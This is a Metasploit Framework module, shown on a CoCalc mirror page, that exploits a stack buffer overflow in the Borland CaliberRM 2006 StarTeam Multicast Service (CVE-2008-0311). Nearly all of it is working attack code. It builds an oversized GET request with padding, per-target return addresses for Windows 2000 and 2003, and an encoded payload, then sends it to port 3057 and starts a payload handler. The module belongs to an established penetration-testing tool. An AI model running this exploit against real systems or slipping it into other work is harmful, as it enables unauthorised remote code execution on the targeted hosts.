Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/borland_starteam.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Borland CaliberRM StarTeam Multicast Service Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending
18
a specially crafted GET request to the STMulticastService, an attacker may be
19
able to execute arbitrary code.
20
},
21
'Author' => 'MC',
22
'References' => [
23
[ 'CVE', '2008-0311' ],
24
[ 'OSVDB', '44039' ],
25
[ 'BID', '28602' ],
26
],
27
'DefaultOptions' => {
28
'EXITFUNC' => 'process',
29
},
30
'Payload' => {
31
'Space' => 600,
32
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
33
'StackAdjustment' => -3500,
34
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
35
},
36
'Platform' => 'win',
37
'Targets' => [
38
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c5729db } ],
39
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ],
40
],
41
'Privileged' => true,
42
'DefaultTarget' => 0,
43
'DisclosureDate' => '2008-04-02',
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options([Opt::RPORT(3057)])
53
end
54
55
def exploit
56
# inline payloads work best!
57
sploit = rand_text_english(511) + "\x00" + rand_text_english(1020)
58
sploit << [target.ret].pack('V') + "@" * 156 # <- :(
59
sploit << payload.encoded + rand_text_english(rand(100) + 1)
60
61
print_status("Trying target #{target.name}...")
62
63
send_request_raw({ 'uri' => sploit, }, 5)
64
65
handler
66
disconnect
67
end
68
end
69
70